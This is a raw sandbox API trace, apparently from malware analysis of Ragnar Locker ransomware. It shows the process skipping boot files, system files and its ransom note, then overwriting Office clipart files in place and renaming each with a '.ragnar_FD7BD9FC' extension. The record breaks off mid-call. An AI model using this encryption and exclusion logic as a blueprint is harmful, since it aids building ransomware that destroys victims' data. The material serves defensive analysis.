1 [0084.335] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.335] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.335] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 0x20 [0084.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.336] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6860) returned 1 [0084.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ac3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.336] GetProcessHeap () returned 0x580000 [0084.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.336] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.338] VirtualAlloc (lpAddress=0x0, dwSize=0x1acc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.338] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.338] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.338] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1acc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1acc, lpOverlapped=0x0) returned 1 [0084.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.339] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1acc, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.339] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1acc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1acc, lpOverlapped=0x0) returned 1 [0084.339] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1acc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.339] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.339] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1acc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.339] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.340] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.340] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.340] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.340] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.340] GetProcessHeap () returned 0x580000 [0084.340] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.340] CloseHandle (hObject=0xf4) returned 1 [0084.340] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" [0084.340] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.ragnar_FD7BD9FC" [0084.340] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.341] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0084.341] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.341] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107494.WMF" | out: lpString1="J0107494.WMF") returned="J0107494.WMF" [0084.341] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned=".WMF" [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="autorun.inf") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="boot.ini") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="bootfont.bin") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="bootsect.bak") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="bootmgr") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="bootmgr.efi") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="bootmgfw.efi") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="desktop.ini") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="iconcache.db") returned 1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="ntldr") returned -1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="ntuser.dat") returned -1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="ntuser.dat.log") returned -1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="ntuser.ini") returned -1 [0084.341] lstrcmpiW (lpString1="J0107494.WMF", lpString2="thumbs.db") returned -1 [0084.341] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.341] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.341] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.341] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.341] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.341] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.341] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 0x20 [0084.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.342] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6424) returned 1 [0084.342] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x190f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.342] GetProcessHeap () returned 0x580000 [0084.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.342] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.343] VirtualAlloc (lpAddress=0x0, dwSize=0x1918, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.344] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.344] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1918, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1918, lpOverlapped=0x0) returned 1 [0084.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.345] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1918, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.345] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1918, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1918, lpOverlapped=0x0) returned 1 [0084.345] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.345] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1918, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.345] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.345] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.345] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.345] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.345] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.345] GetProcessHeap () returned 0x580000 [0084.345] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.346] CloseHandle (hObject=0xf4) returned 1 [0084.346] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" [0084.346] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.ragnar_FD7BD9FC" [0084.346] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.346] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0084.346] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.346] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107496.WMF" | out: lpString1="J0107496.WMF") returned="J0107496.WMF" [0084.346] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned=".WMF" [0084.346] lstrcmpiW (lpString1="J0107496.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.346] lstrcmpiW (lpString1="J0107496.WMF", lpString2="autorun.inf") returned 1 [0084.346] lstrcmpiW (lpString1="J0107496.WMF", lpString2="boot.ini") returned 1 [0084.346] lstrcmpiW (lpString1="J0107496.WMF", lpString2="bootfont.bin") returned 1 [0084.346] lstrcmpiW (lpString1="J0107496.WMF", lpString2="bootsect.bak") returned 1 [0084.346] lstrcmpiW (lpString1="J0107496.WMF", lpString2="bootmgr") returned 1 [0084.346] lstrcmpiW (lpString1="J0107496.WMF", lpString2="bootmgr.efi") returned 1 [0084.347] lstrcmpiW (lpString1="J0107496.WMF", lpString2="bootmgfw.efi") returned 1 [0084.347] lstrcmpiW (lpString1="J0107496.WMF", lpString2="desktop.ini") returned 1 [0084.347] lstrcmpiW (lpString1="J0107496.WMF", lpString2="iconcache.db") returned 1 [0084.347] lstrcmpiW (lpString1="J0107496.WMF", lpString2="ntldr") returned -1 [0084.347] lstrcmpiW (lpString1="J0107496.WMF", lpString2="ntuser.dat") returned -1 [0084.347] lstrcmpiW (lpString1="J0107496.WMF", lpString2="ntuser.dat.log") returned -1 [0084.347] lstrcmpiW (lpString1="J0107496.WMF", lpString2="ntuser.ini") returned -1 [0084.347] lstrcmpiW (lpString1="J0107496.WMF", lpString2="thumbs.db") returned -1 [0084.347] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.347] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.347] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.347] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.347] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.347] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.347] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 0x20 [0084.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.347] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8864) returned 1 [0084.347] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2297, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.347] GetProcessHeap () returned 0x580000 [0084.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.348] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.362] VirtualAlloc (lpAddress=0x0, dwSize=0x22a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.362] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.362] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.362] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x22a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x22a0, lpOverlapped=0x0) returned 1 [0084.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.363] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.364] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x22a0, lpOverlapped=0x0) returned 1 [0084.364] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.364] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.364] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x22a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.364] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.364] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.364] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.364] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.364] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.364] GetProcessHeap () returned 0x580000 [0084.364] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.364] CloseHandle (hObject=0xf4) returned 1 [0084.365] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" [0084.365] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.ragnar_FD7BD9FC" [0084.365] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.366] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0084.366] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.366] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107500.WMF" | out: lpString1="J0107500.WMF") returned="J0107500.WMF" [0084.366] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned=".WMF" [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="autorun.inf") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="boot.ini") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="bootfont.bin") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="bootsect.bak") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="bootmgr") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="bootmgr.efi") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="bootmgfw.efi") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="desktop.ini") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="iconcache.db") returned 1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="ntldr") returned -1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="ntuser.dat") returned -1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="ntuser.dat.log") returned -1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="ntuser.ini") returned -1 [0084.366] lstrcmpiW (lpString1="J0107500.WMF", lpString2="thumbs.db") returned -1 [0084.366] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.366] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.366] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.366] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.366] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.366] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.366] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf")) returned 0x20 [0084.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.367] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4200) returned 1 [0084.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x105f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 